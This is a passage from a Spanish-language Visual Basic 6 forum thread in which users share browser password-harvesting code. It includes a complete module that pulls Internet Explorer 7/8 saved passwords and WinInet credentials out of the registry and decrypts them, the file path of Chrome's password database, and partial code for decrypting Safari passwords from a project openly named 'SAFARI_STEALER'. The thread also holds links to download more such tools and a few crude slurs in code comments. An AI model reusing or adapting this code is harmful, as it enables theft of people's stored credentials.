  287.        PutMem4 pCode + PATCH_01, nAddr - pCode - (PATCH_01 + 4)
  288.         bNewDLL = False
  289.         sLastFunc = sFunction
  290.     End If
  291.  
  292.     With pb
  293.         j = UBound(ParmLongs)
  294.         If j >= MAX_ARG Then
  295.      
  296.             'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
  297.            Debug.Assert False
  298.             Call Err.Raise(ERR_NUM + 2, ERR_SRC, "Too many parameters")
  299.         End If
  300.    
  301.         'Fill the parameter block
  302.        For i = 0 To j
  303.             .Params(i) = ParmLongs(i)
  304.         Next i
  305.    
  306.         .ParamCount = i                                         '(j + 1)
  307.    End With
  308.  
  309.     CallFunc = z_DO_NOT_CALL(VarPtr(pb))                      'Execute the code buffer passing the address of the parameter block
  310.  
  311. End Function
  312.  
  313. 'Load the DLL
  314. Public Function DllLoad(ByVal sName As String) As Boolean
  315.     hMod = LoadLibraryA(sName)
  316.    
  317.  
  318.     If hMod <> 0 Then
  319.         DllLoad = True
  320.         'It's remotely possible that the programmer could change the dll and then call a function
  321.        'in the new dll with exactly the same name as the previous CallFunc to the previous DLL. This would
  322.        'defeat the caching scheme and result in the old function in the old dll being called. An unlikely
  323.        'scenario, but stranger things have happened. Soooo, explicitly indicate that we're using a new dll
  324.        bNewDLL = True
  325.     End If
  326.  
  327.     'If in the IDE just stop on failure, programmer may not be checking the return value.
  328.    Debug.Assert DllLoad
  329. End Function
  330.  

Saludos.

Título: Re:COBEIN lee esto por favor...
Publicado por: 79137913 en Agosto 22, 2013, 08:26:42 am
HOLA!!!

Lea, estoy muy agradecido muchisimas gracias, se me hacia raro que pasara eso, menos mal que estas para ayudar!

GENIO!

Menos mal que tuve tu ayuda :D!

Sigo dando vueltas por el foro :)

GRACIAS POR LEER!!!
Título: Re:COBEIN lee esto por favor...
Publicado por: cobein en Agosto 23, 2013, 09:45:16 am
Lei tarde, parece que esta resuelto :)
Título: Re:COBEIN lee esto por favor...
Publicado por: 79137913 en Agosto 23, 2013, 10:05:47 am
HOLA!!!

Cobein... aun necesito de tu ayuda, si estas disponible.

No puedo encontrar el ejemplo de Chrome que tenias en http://www.advancevb.com.ar/wp-content/2009/07/Chrome.rar (es el recovery de chrome) tendras algun backup o algo similar?

GRACIAS POR LEER!!!
Título: Re:COBEIN lee esto por favor...
Publicado por: cobein en Agosto 23, 2013, 11:32:38 am
Aca esta el backup de AdvanceVB , tendri a que estar ahi el code.

http://leandroascierto.com/foro/index.php?topic=1359.msg7570#msg7570

Cualquier cosa avisa.
Título: Re:COBEIN lee esto por favor...
Publicado por: 79137913 en Agosto 23, 2013, 12:54:28 pm
HOLA!!!

:( no esta en el backup Chrome.rar

Que puedo hacer?

Consegui el rar de Indetectables cuando lo subiste, pero esta corrupto :/

http://www.mediafire.com/download/50wxs8gmwgxu17r/Chrome.rar

Te podrias fijar si tenes el codigo en algun lado?

Solo mChrome.bas, con eso ya me organizo para revivirlo :D

Detalle del backup:
Código: [Seleccionar]
code\AdvanceVB.url
code\copyfiles.zip
code\elevationtype.zip
code\filelist.zip
code\fixpalette.zip
code\layeredsplash.zip
code\plugin.rar
code\progbar.zip
code\RTBOF.rar
code\safecallptr.rar
code\shell_elevated.zip
code\simpledde.rar
code\superduper.rar
code\suspend.rar
code\systempassword.zip
code\ucdownload.zip
code\ucimagelist.rar
code\ucip.zip
code\virtualfile.zip
code\VM_Detect.zip
code\VM_mini.zip
code\storage\
code\Uploaded\
code\storage\0CFD33B9B4EEF780.jpg
code\storage\1.jpg
code\storage\2.jpg
code\storage\2545E70A8CEEE575.jpg
code\storage\3.jpg
code\storage\4.jpg
code\storage\9189321F7698F58D.jpg
code\storage\captures.rar
code\storage\CC4861EF5CF21BA2.jpg
code\storage\checksummer.rar
code\storage\cryptosy.rar
code\storage\disablewinkey.rar
code\storage\DLL.rar
code\storage\E2BA0458587C5484.jpg
code\storage\EC07663CE51054D2.jpg
code\storage\filehash.zip
code\storage\filestoclipboard.rar
code\storage\ftp.rar
code\storage\Install.rar
code\storage\Int2D.rar
code\storage\layeredsplash.rar
code\storage\mailme.rar
code\storage\mGetProcAddress.rar
code\storage\mPE_Realign.rar
code\storage\nccaption.rar
code\storage\noip.rar
code\storage\ntcompression.rar
code\storage\pluginsample.rar
code\storage\progbar.rar
code\storage\scale.rar
code\storage\sizerestriction.rar
code\storage\suspend.rar
code\storage\systempassword.zip
code\storage\thebug.rar
code\storage\timeddebug.rar
code\storage\ucDowload.rar
code\storage\usbdetection.rar
code\storage\VM.rar
code\storage\wincdkey.rar
code\storage\WLMPD.rar
code\Uploaded\ekm.jpg
code\Uploaded\ekm.rar
code\Uploaded\filehash.zip
code\Uploaded\melt.rar
code\Uploaded\ucip.jpg
code\Uploaded\ucIP.rar
Hecho con: ' Module      : cFileList
' DateTime    : 12/03/08 08:52
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' Purpose     : Basic recursive file search class
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.

GRACIAS POR LEER!!!
Título: Re:COBEIN lee esto por favor...
Publicado por: cobein en Agosto 23, 2013, 02:47:27 pm
Aca encontre, las 2 versiones.

https://dl.dropboxusercontent.com/u/43394978/Chrome1.rar

https://dl.dropboxusercontent.com/u/43394978/Chrome.rar

Saludos.
Título: Re:COBEIN lee esto por favor...
Publicado por: 79137913 en Agosto 23, 2013, 02:49:12 pm
HOLA!!!

MIL GRACIAS Cobein!

No se como agradecerte , si pasas por Mar del Plata te invito un asado!

GRACIAS POR LEER!!!
Título: Re:COBEIN lee esto por favor...
Publicado por: LeandroA en Agosto 24, 2013, 05:01:27 am
por las dudas en las nuevas versiones de chrome el path de la bd es

sPath = GetSpecialfolder(CSIDL_LOCAL_APPDATA) & "\Google\Chrome\User Data\Default\Login Data"

y por si te interesa este es para ie

Código: Visual Basic
  1. Option Explicit
  2.  
  3.  
  4. ' mIEPass.bas
  5. ' ----------------------------------------------------
  6. ' Description:
  7. '
  8. ' Retrieves all saved passwords and credentials from
  9. ' Internet Explorer 7/8.
  10. '
  11. ' Coded by: Rtflol
  12. '
  13. ' Please give me credits when you use this in your own
  14. ' applications. Don't be a fag ripper :P.
  15. '
  16. ' ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  17. ' Credits: Some french dude for making the initial IE 7 decryption
  18. ' module and a couple of Japanese guys for C++ documentation
  19. ' of an IE 8 decryption algorithm.
  20. '
  21. ' Released: Monday, October 26, 2009
  22. ' Usage: Call GetIE()
  23.  
  24. '// Memory manipulation
  25. Private Declare Sub CopyBytes Lib "msvbvm60" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any)
  26.  
  27. '// crypt32.dll
  28. Private Declare Function CryptUnprotectData Lib "crypt32" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long
  29.  
  30. '// advapi32.dll
  31. '-- Registry
  32. Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
  33. Private Declare Function RegEnumValue Lib "advapi32" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long
  34. Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
  35. '-- Microsoft Cryptographic Provider
  36. Private Declare Function CryptAcquireContext Lib "advapi32" Alias "CryptAcquireContextA" (ByRef phProv As Long, ByVal pszContainer As Long, ByVal pszProvider As String, ByVal dwProvType As Long, ByVal dwFlags As Long) As Long
  37. Private Declare Function CryptCreateHash Lib "advapi32" (ByVal hProv As Long, ByVal Algid As Long, ByVal hKey As Long, ByVal dwFlags As Long, ByRef phHash As Long) As Long
  38. Private Declare Function CryptHashData Lib "advapi32" (ByVal hHash As Long, ByVal pbData As Long, ByVal dwDataLen As Long, ByVal dwFlags As Long) As Long
  39. Private Declare Function CryptGetHashParam Lib "advapi32" (ByVal hHash As Long, ByVal dwParam As Long, ByVal pByte As Long, ByRef pdwDataLen As Long, ByVal dwFlags As Long) As Long
  40. Private Declare Function CryptSignHash Lib "advapi32" Alias "CryptSignHashA" (ByVal hHash As Long, ByVal dwKeySpec As Long, ByVal sDescription As Long, ByVal dwFlags As Long, ByVal pbSignature As Long, ByRef pdwSigLen As Long) As Long
  41. Private Declare Function CryptDestroyHash Lib "advapi32" (ByVal hHash As Long) As Long
  42. Private Declare Function CryptReleaseContext Lib "advapi32" (ByVal hProv As Long, ByVal dwFlags As Long) As Long
  43. Private Declare Function CredEnumerate Lib "advapi32" Alias "CredEnumerateW" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
  44.  
  45. '// wininet.dll
  46. '-- History
  47. Private Declare Function FindFirstUrlCacheEntry Lib "wininet" Alias "FindFirstUrlCacheEntryA" (ByVal lpszUrlSearchPattern As String, lpFirstCacheEntryInfo As Any, lpdwFirstCacheEntryInfobufDataerSize As Long) As Long
  48. Private Declare Function FindNextUrlCacheEntry Lib "wininet" Alias "FindNextUrlCacheEntryA" (ByVal hEnumHandle As Long, lpNextCacheEntryInfo As Any, lpdwNextCacheEntryInfobufDataerSize As Long) As Long
  49.  
  50. '// misc
  51. Private Declare Function lstrlenA Lib "kernel32" (ByVal ptr As Any) As Long
  52. Private Declare Function lstrcpyA Lib "kernel32" (ByVal RetVal As String, ByVal ptr As Long) As Long
  53. Private Declare Function SysAllocString Lib "oleaut32" (ByVal pOlechar As Long) As String
  54.  
  55. Private Type FILETIME
  56.     dwLowDateTime As Long
  57.     dwHighDateTime As Long
  58. End Type
  59. Private Type StringIndexHeader
  60.     dwWICK As Long
  61.     dwStructSize As Long
  62.     dwEntriesCount As Long
  63.     dwUnkId As Long
  64.     dwType As Long
  65.     dwUnk As Long
  66. End Type
  67. Private Type StringIndexEntry
  68.     dwDataOffset As Long
  69.     ftInsertDateTime As FILETIME
  70.     dwDataSize As Long
  71. End Type
  72. Private Type DATA_BLOB
  73.     cbData As Long
  74.     pbData As Long
  75. End Type
  76. Private Type CREDENTIAL
  77.     dwFlags As Long
  78.     dwType As Long
  79.     lpstrTargetName As Long
  80.     lpstrComment As Long
  81.     ftLastWritten As FILETIME
  82.     dwCredentialBlobSize As Long
  83.     lpbCredentialBlob As Long
  84.     dwPersist As Long
  85.     dwAttributeCount As Long
  86.     lpAttributes As Long
  87.     lpstrTargetAlias As Long
  88.     lpUserName As Long
  89. End Type
  90. Private Type INTERNET_CACHE_ENTRY_INFO
  91.    dwStructSize As Long
  92.    lpszSourceUrlName As Long
  93.    lpszLocalFileName As Long
  94.    CacheEntryType  As Long
  95.    dwUseCount As Long
  96.    dwHitRate As Long
  97.    dwSizeLow As Long
  98.    dwSizeHigh As Long
  99.    LastModifiedTime As FILETIME
  100.    ExpireTime As FILETIME
  101.    LastAccessTime As FILETIME
  102.    LastSyncTime As FILETIME
  103.    lpHeaderInfo As Long
  104.    dwHeaderInfoSize As Long
  105.    lpszFileExtension As Long
  106.    dwExemptDelta  As Long
  107. End Type
  108.  
  109. '// history private constants.
  110. Private Const NORMAL_CACHE_ENTRY            As Long = &H1
  111. Private Const URLHISTORY_CACHE_ENTRY        As Long = &H200000
  112.  
  113. '// registry private constants
  114. Private Const HKEY_CURRENT_USER                As Long = &H80000001
  115. Private Const IE_KEY                        As String = "Software\Microsoft\Internet Explorer\IntelliForms\Storage2"
  116. Private Const READ_CONTROL                  As Long = &H20000
  117. Private Const SYNCHRONIZE                   As Long = &H100000
  118. Private Const KEY_ENUMERATE_SUB_KEYS        As Long = &H8
  119. Private Const KEY_QUERY_VALUE               As Long = &H1
  120. Private Const KEY_NOTIFY                    As Long = &H10
  121. Private Const KEY_READ                      As Long = ((READ_CONTROL Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
  122. Private Const ERROR_SUCCESS                 As Long = 0&
  123.  
  124. '// cryptography private constants
  125. Private Const PROV_RSA_FULL                 As Long = 1&
  126. Private Const ALG_CLASS_HASH                As Long = (4 * 2 ^ 13)
  127. Private Const ALG_TYPE_ANY                  As Long = 0
  128. Private Const ALG_SID_SHA                   As Long = 4
  129. Private Const CALG_SHA                      As Long = (ALG_CLASS_HASH Or ALG_TYPE_ANY Or ALG_SID_SHA)
  130. Private Const HP_HASHVAL                    As Long = &H2
  131.  
  132. Private hKey As Long
  133. Private m_Data As String
  134. Private m_Storage() As String
  135. Private i As Integer '// counter variable. global scope 'cause I don't feel like redeclaring it
  136. Public Function GetIE() As String
  137.     'On Local Error Resume Next
  138.  
  139.     Dim x As Integer
  140.     Dim strOut() As String, strSplit() As String, strHash() As String
  141.    
  142.     m_Data = vbNullString: Erase m_Storage: hKey = 0 ' clear out previous data
  143.    
  144.     Call GetStorage2 ' Intelliforms passwords
  145.    Call GetCredentials ' Authenticated passwords (like .htaccess related creds).
  146.  
  147.     If Len(m_Data) = 0 Then Exit Function
  148.     strOut = Split(m_Data, vbFormFeed)
  149.  
  150.     ReDim Preserve m_Storage(0 To UBound(strOut) - 1)
  151.  
  152.     For i = 0 To UBound(strOut) - 1
  153.        
  154.         strSplit = Split(strOut(i), vbVerticalTab)
  155.        
  156.         For x = 0 To UBound(m_Storage) '.. Don't re-add similar data to queue.
  157.            If m_Storage(x) = strSplit(3) And m_Storage(x) <> "n/a" Then GoTo skipMsg
  158.         Next x
  159.  
  160.         GetIE = GetIE & "URL: " & strSplit(0) & vbCrLf & "Username: " & strSplit(1) & vbCrLf & "Password: " & strSplit(2) & vbCrLf & "Hash: " & strSplit(3) & vbCrLf & vbCrLf
  161. skipMsg:
  162.         m_Storage(i) = strSplit(3)
  163.     Next i
  164. End Function
  165. Private Sub GetCredentials()
  166.     Dim tmp As String, sRes As String, sURL As String, tAuth() As String
  167.     Dim ptrData As Long, dwNumCreds As Long, lpCredentials As Long
  168.     Dim bufData(36) As Integer, x As Integer
  169.     Dim m_Cred As CREDENTIAL, dataIn As DATA_BLOB, dataOut As DATA_BLOB, dataEntry As DATA_BLOB
  170.  
  171.     Call CredEnumerate(StrPtr("Microsoft_WinInet_*"), 0, dwNumCreds, lpCredentials)
  172.     If dwNumCreds Then '.. We have credentials listed.
  173.        For i = 0 To dwNumCreds - 1
  174.             CopyBytes 4&, ByVal VarPtr(ptrData), ByVal lpCredentials + (i) * 4: CopyBytes LenB(m_Cred), ByVal VarPtr(m_Cred), ByVal ptrData
  175.             sRes = CopyString(m_Cred.lpstrTargetName): dataEntry.cbData = 74
  176.             For x = 0 To 36: bufData(x) = CInt(Asc(Mid("abe2869f-9b47-4cd9-a358-c22904dba7f7" & vbNullChar, x + 1, 1)) * 4): Next
  177.            
  178.             dataEntry.pbData = VarPtr(bufData(0)): dataIn.pbData = m_Cred.lpbCredentialBlob: dataIn.cbData = m_Cred.dwCredentialBlobSize: dataOut.cbData = 0: dataOut.pbData = 0
  179.             Call CryptUnprotectData(dataIn, ByVal 0&, ByVal VarPtr(dataEntry), ByVal 0&, ByVal 0&, 0, dataOut)
  180.            
  181.             tmp = Space(dataOut.cbData \ 2 - 1)
  182.             CopyBytes dataOut.cbData, ByVal StrPtr(tmp), ByVal dataOut.pbData
  183.             tAuth = Split(tmp, ":"): x = InStr(Mid$(sRes, 19), "/")
  184.            
  185.             If x > 0 Then
  186.                 sURL = Mid$(sRes, 19, x - 1)
  187.             Else
  188.                 sURL = Mid$(sRes, 19)
  189.             End If
  190.            
  191.             m_Data = m_Data & sURL & vbVerticalTab & tAuth(0) & vbVerticalTab & tAuth(1) & vbVerticalTab & "n/a" & vbFormFeed
  192.         Next
  193.     End If
  194. End Sub
  195. Private Sub GetStorage2()
  196.     Dim tmp As String, sRet As String, sHash As String
  197.     Dim m_Cache As Long, dwSize As Long, cbData As Long
  198.     Dim x As Integer, z As Integer
  199.     Dim bufData() As Byte
  200.    
  201.     Dim m_URL As INTERNET_CACHE_ENTRY_INFO
  202.     If RegOpenKeyEx(HKEY_CURRENT_USER, IE_KEY, 0&, KEY_READ, hKey) <> ERROR_SUCCESS Then Exit Sub
  203.        
  204.     Do
  205.         sRet = Space(4096)
  206.         If RegEnumValue(hKey, z, sRet, 4096, 0, ByVal 0&, ByVal 0&, ByVal 0&) <> 0 Then Exit Do
  207.         sRet = StripTerminator(sRet) '... Remove vbNullChar's
  208.        
  209.         m_Cache = FindFirstUrlCacheEntry(vbNullString, ByVal 0&, dwSize)
  210.         If dwSize Then
  211.             ReDim bufData(dwSize - 1): CopyBytes 4&, bufData(0), dwSize
  212.             m_Cache = FindFirstUrlCacheEntry(vbNullString, bufData(0), dwSize)
  213.         Else
  214.             Exit Sub '.. Recently cleared his history?
  215.        End If
  216.        
  217.             Do
  218.                 CopyBytes LenB(m_URL), m_URL, bufData(0)
  219.                 If (m_URL.CacheEntryType And (NORMAL_CACHE_ENTRY Or URLHISTORY_CACHE_ENTRY)) = (NORMAL_CACHE_ENTRY Or URLHISTORY_CACHE_ENTRY) Then
  220.                     tmp = Trim(GetStrFromPtrA(m_URL.lpszSourceUrlName))
  221.                                        
  222.                     x = InStr(tmp, "file://") ' Don't scan local files
  223.                    If x Then GoTo Nxt
  224.                     x = InStr(tmp, "@") ' Don't need "Visited" shit
  225.                    If x Then tmp = Mid(tmp, x + 1)
  226.                     x = InStr(tmp, "?") ' Algorithm doesn't use data past ?
  227.                    If x Then tmp = Left(tmp, x - 1)
  228.                     tmp = LCase(tmp) '.. Seems lower-case is the way to be for IE ;). This is 100% necessary.
  229.                    
  230.                     sHash = GetSHA1Hash(StrPtr(tmp), (Len(tmp) + 1) * 2)
  231.                     If sHash = sRet Then
  232.                         RegQueryValueEx hKey, sHash, 0&, 3, ByVal 0&, cbData
  233.                         If cbData Then Call DecryptData(tmp, sHash, cbData) '.. We have data associated with hash, go.
  234.                     Else
  235.                         tmp = tmp & "/" '.. Some urls are hashed with / appended at end. We just gotta add a / to every url we have and try or we fucked!
  236.                        sHash = GetSHA1Hash(StrPtr(tmp), (Len(tmp) + 1) * 2)
  237.                         If sHash = sRet Then
  238.                             RegQueryValueEx hKey, sHash, 0&, 3, ByVal 0&, cbData
  239.                             If cbData Then Call DecryptData(tmp, sHash, cbData) '.. We have data associated with hash, go.
  240.                        End If
  241.                     End If
  242.                 End If
  243.                
  244. Nxt:
  245.                 dwSize = 0: Call FindNextUrlCacheEntry(m_Cache, ByVal 0&, dwSize)
  246.                 If dwSize Then
  247.                     ReDim bufData(dwSize - 1)
  248.                     CopyBytes 4&, bufData(0), dwSize
  249.                 End If
  250.                
  251.             Loop While FindNextUrlCacheEntry(m_Cache, bufData(0), dwSize)
  252.                
  253.         z = z + 1
  254.     Loop
  255. End Sub
  256. Private Sub DecryptData(sURL As String, sHash As String, ByVal cbData As Long)
  257.     Dim sUsername As String, sPassword As String
  258.     Dim ptrData As Long, ptrEntry As Long
  259.  
  260.     Dim hIndex As StringIndexHeader, eIndex As StringIndexEntry
  261.     Dim dataIn As DATA_BLOB, dataOut As DATA_BLOB, dataEntry As DATA_BLOB
  262.  
  263.     Dim bufData() As Byte
  264.  
  265.     ReDim bufData(cbData - 1)
  266.     Call RegQueryValueEx(hKey, sHash, 0&, 3, bufData(0), cbData)
  267.     dataIn.cbData = cbData: dataIn.pbData = VarPtr(bufData(0))
  268.     dataEntry.cbData = (Len(sURL) + 1) * 2: dataEntry.pbData = StrPtr(sURL)
  269.     Call CryptUnprotectData(dataIn, 0&, ByVal VarPtr(dataEntry), 0&, 0&, 0&, dataOut)
  270.    
  271.     ReDim bufData(dataOut.cbData - 1)
  272.     CopyBytes dataOut.cbData, bufData(0), ByVal dataOut.pbData
  273.    
  274.     CopyBytes Len(hIndex), hIndex, bufData(bufData(0))
  275.    
  276.     If hIndex.dwType = 1 Then
  277.         If hIndex.dwEntriesCount >= 2 Then ' We need both username & password
  278.            ptrEntry = VarPtr(bufData(bufData(0))) + hIndex.dwStructSize
  279.            
  280.             ptrData = ptrEntry + hIndex.dwEntriesCount * Len(eIndex)
  281.             If ptrData = 0 Or ptrEntry = 0 Then Exit Sub
  282.            
  283.             For i = 1 To hIndex.dwEntriesCount / 2
  284.                 If i <> 1 Then ptrEntry = ptrEntry + Len(eIndex)
  285.                
  286.                 CopyBytes Len(eIndex), eIndex, ByVal ptrEntry
  287.                 sUsername = Space(eIndex.dwDataSize)
  288.                 If lstrlenA(ptrData + eIndex.dwDataOffset) <> eIndex.dwDataSize Then
  289.                     CopyBytes eIndex.dwDataSize * 2, ByVal StrPtr(sUsername), ByVal ptrData + eIndex.dwDataOffset
  290.                 Else
  291.                     CopyBytes eIndex.dwDataSize, ByVal sUsername, ByVal ptrData + eIndex.dwDataOffset
  292.                 End If
  293.                 ptrEntry = ptrEntry + Len(eIndex)
  294.                 CopyBytes Len(eIndex), eIndex, ByVal ptrEntry
  295.                 sPassword = Space(eIndex.dwDataSize)
  296.                 If lstrlenA(ptrData + eIndex.dwDataOffset) <> eIndex.dwDataSize Then
  297.                     Call CopyBytes(eIndex.dwDataSize * 2, ByVal StrPtr(sPassword), ByVal ptrData + eIndex.dwDataOffset)
  298.                 Else
  299.                     Call CopyBytes(eIndex.dwDataSize, ByVal sPassword, ByVal ptrData + eIndex.dwDataOffset)
  300.                 End If
  301.            
  302.                 m_Data = m_Data & sURL & vbVerticalTab & sUsername & vbVerticalTab & sPassword & vbVerticalTab & sHash & "/" & i & vbFormFeed
  303.             Next i
  304.            
  305.         End If
  306.     End If
  307. End Sub
  308. Private Function GetSHA1Hash(ByVal pbData As Long, ByVal dwDataLen As Long) As String
  309.     Dim hProv As Long, hHash As Long
  310.     Dim bufData(20) As Byte
  311.    
  312.     Call CryptAcquireContext(hProv, 0&, vbNullString, PROV_RSA_FULL, 0&)
  313.     Call CryptCreateHash(hProv, CALG_SHA, 0&, 0&, hHash)
  314.     Call CryptHashData(hHash, pbData, dwDataLen, 0&)
  315.     Call CryptGetHashParam(hHash, HP_HASHVAL, ByVal VarPtr(bufData(0)), 20, 0)
  316.     Call CryptDestroyHash(hHash)
  317.     Call CryptReleaseContext(hProv, 0&)
  318.        
  319.     For i = 0 To 19: GetSHA1Hash = GetSHA1Hash & Right("00" & Hex$(bufData(i)), 2): Next
  320.    
  321.     GetSHA1Hash = GetSHA1Hash & Right("00" & Hex$(CheckSum(GetSHA1Hash)), 2)
  322. End Function
  323. Private Function CheckSum(s As String) As Byte
  324.     Dim sum As Long
  325.    
  326.     For i = 1 To Len(s) Step 2: sum = sum + Val("&H" & Mid(s, i, 2)): Next
  327.     CheckSum = CByte(sum Mod 256)
  328. End Function
  329. Private Function StripTerminator(s As String) As String
  330.     Dim z As Integer
  331.    
  332.     z = InStr(1, s, vbNullChar)
  333.     If z > 0 Then
  334.         StripTerminator = Left$(s, z - 1)
  335.     Else
  336.         StripTerminator = s
  337.     End If
  338. End Function
  339. Private Function CopyString(ByVal ptr As Long) As String
  340.     If ptr Then
  341.         CopyString = StrConv(SysAllocString(ptr), vbFromUnicode)
  342.     Else
  343.         CopyString = vbNullString
  344.     End If
  345. End Function
  346. Private Function GetStrFromPtrA(ByVal lpszA As Long) As String
  347.    GetStrFromPtrA = String$(lstrlenA(ByVal lpszA), 0)
  348.    Call lstrcpyA(ByVal GetStrFromPtrA, ByVal lpszA)
  349. End Function
  350.  
Título: Re:COBEIN lee esto por favor...
Publicado por: 79137913 en Agosto 30, 2013, 10:36:28 am
HOLA!!!

Chicos, ahora estoy haciendo un recovery para safari...

Tengo problemas con la cryptoapi, siempre que la llamo me da false...

Estoy haciendo todo como dice:
http://securityxploded.com/safari-password-secrets.php

Pero no se que es lo que pasa, alguno podria revisar mi codigo (es borrador, sepan disculpar el desorden)

http://www.mediafire.com/download/mv1l8mds4sdi8pi/SAFARI_STEALER.rar

Desde ya muchas gracias :D

GRACIAS POR LEER!!!
Título: Re:COBEIN lee esto por favor...
Publicado por: LeandroA en Agosto 30, 2013, 01:50:36 pm
Hola trate de pasar en limpio lo principal o lo que no funciona, pero no lo desencripta, mi duda es si esa clave sigue siendo la misma con a la version del safari con el que generaste el xml

Código: Visual Basic
  1. Option Explicit
  2.  
  3. Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long
  4. Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
  5. Private Declare Function VarPtrArray Lib "msvbvm60.dll" Alias "VarPtr" (ByRef Ptr() As Any) As Long
  6.  
  7. Private Type DATA_BLOB
  8.     cbData              As Long
  9.     pbData              As Long
  10. End Type
  11.  
  12. Private Sub Form_Load()
  13.     Dim tBlobIn     As DATA_BLOB
  14.     Dim tEntropy    As DATA_BLOB
  15.     Dim tBlobOut    As DATA_BLOB
  16.     Dim i As Long
  17.     Dim bArrayKey() As Byte
  18.     Dim bArrayData() As Byte
  19.  
  20.     Const skey = "1DACA8F8D3B8483E487D3E0A6207DD26E6678103E7B213A5B079EE4F0F4115ED7B148CE54B460DC18EFED6E72775068B4900DC0F30A09EFD0985F1C8AA75C108057901E297D8AF8038600B710E6853772F0F61F61D8E8F5CB23D2174404BB5066EAB7ABD8BA97E328F6E0624D929A4A5BE2623FDEEF14C0F745E58FB9174EF91636F6D2E6170706C652E536166617269"
  21.     Const sBase64 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA9+j0xt/9LkOdE1/xsvp9JwAAAAACAAAAAAADZgAAqAAAABAAAACIDO9x8WZzzKVyXF0pLsD2AAAAAASAAACgAAAAEAAAADKF081Akdzvx2bH3rQslViIAAAA7uR2VSW3cmYzHYbGI0k8tCZYwuuM/2s8+XMwVRGY7N4bwNzYTQH3XPtA4oPHP5by2QR25477j+cBoZ2N9G5F43RkPuQIjokssPkNls1l6rVVSg1X4yaCFghzN0/R2iLPG14LOluJweNWDU+duGj5QYs5dqybyJwH3/tDaGcU7QGDVfHW0qjCGRQAAADefkJlNR07PlYSnDEpe0X4w1jK6A=="
  22.        
  23.     '----- tEntropy
  24.    ReDim bArrayKey(Len(skey) / 2 - 1)
  25.    
  26.     For i = 0 To Len(skey) - 1 Step 2
  27.         bArrayKey(i / 2) = CByte("&h" & Mid$(skey, i + 1, 2))
  28.     Next
  29.    
  30.     tEntropy.cbData = UBound(bArrayKey) + 1
  31.     tEntropy.pbData = VarPtr(bArrayKey(0))
  32.     '----
  33.  
  34.     '---- tBlobIn
  35.    bArrayData = Base64Decode(sBase64)
  36.     tBlobIn.cbData = UBound(bArrayData) + 1
  37.     tBlobIn.pbData = VarPtr(bArrayData(0))
  38.     '----
  39.    
  40.     If CryptUnprotectData(tBlobIn, 0&, tEntropy, 0&, 0&, 0&, tBlobOut) Then
  41.         MsgBox "Ok"
  42.     Else
  43.         Debug.Print Err.LastDllError
  44.     End If
  45.    
  46. End Sub
  47.  
  48.  
  49. Private Function Base64Decode(ByVal vCode As String) As Byte()
  50.     Dim oXML, oNode
  51.     Dim vResults As Variant
  52.    
  53.     Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
  54.     Set oNode = oXML.CreateElement("base64")
  55.     oNode.dataType = "bin.base64"
  56.     oNode.Text = vCode
  57.     vResults = oNode.nodeTypedValue
  58.     MoveArrayToVariant vResults, Base64Decode, False
  59.     Set oNode = Nothing
  60.     Set oXML = Nothing
  61. End Function
  62.  
  63. 'Autor: LaVolpe
  64. Private Sub MoveArrayToVariant(inVariant As Variant, inArray() As Byte, Mount As Boolean)
  65.     Const VT_BYREF              As Long = &H4000&
  66.  
  67.     ' Variants are used a bit in this project to allow functions to receive
  68.    ' multiple variable types (objects, strings, handles, arrays, etc) in a single parameter.
  69.    ' When arrays are passed, don't want to unnecessarily copy the array
  70.    ' if a copy isn't needed. But setting one variant to another that contains
  71.    ' arrays, copies are made. With large arrays, performance suffers.
  72.    ' So... this routine moves an array in/out of a variant and vice versa
  73.    ' without making a copy of the array. We're just swapping pointers
  74.    
  75.     ' When mounting array to variant, the inVariant parameter can contain anything or nothing
  76.    ' When dismounting array from variant, the inVariant parameter MUST contain a return byte array
  77.    
  78.     Dim bDummy() As Byte, srcAddr As Long, dstAddr As Long
  79.    
  80.     If Mount Then                                               ' moving array to variant
  81.        inVariant = bDummy()                                    ' ensure target contains null byte array
  82.        CopyMemory dstAddr, ByVal VarPtr(inVariant), 2&         ' get that null array's pointer
  83.        If (dstAddr And VT_BYREF) Then
  84.             CopyMemory dstAddr, ByVal VarPtr(inVariant) + 8&, 4&
  85.         Else
  86.             dstAddr = VarPtr(inVariant) + 8&
  87.         End If
  88.         srcAddr = VarPtrArray(inArray)                          ' get source array's pointer
  89.        
  90.     Else                                                        ' moving variant's array to array
  91.    
  92.         Erase inArray()                                         ' ensure source is nulled out
  93.        CopyMemory srcAddr, ByVal VarPtr(inVariant), 2&         ' get source array's pointer
  94.        If (srcAddr And VT_BYREF) Then
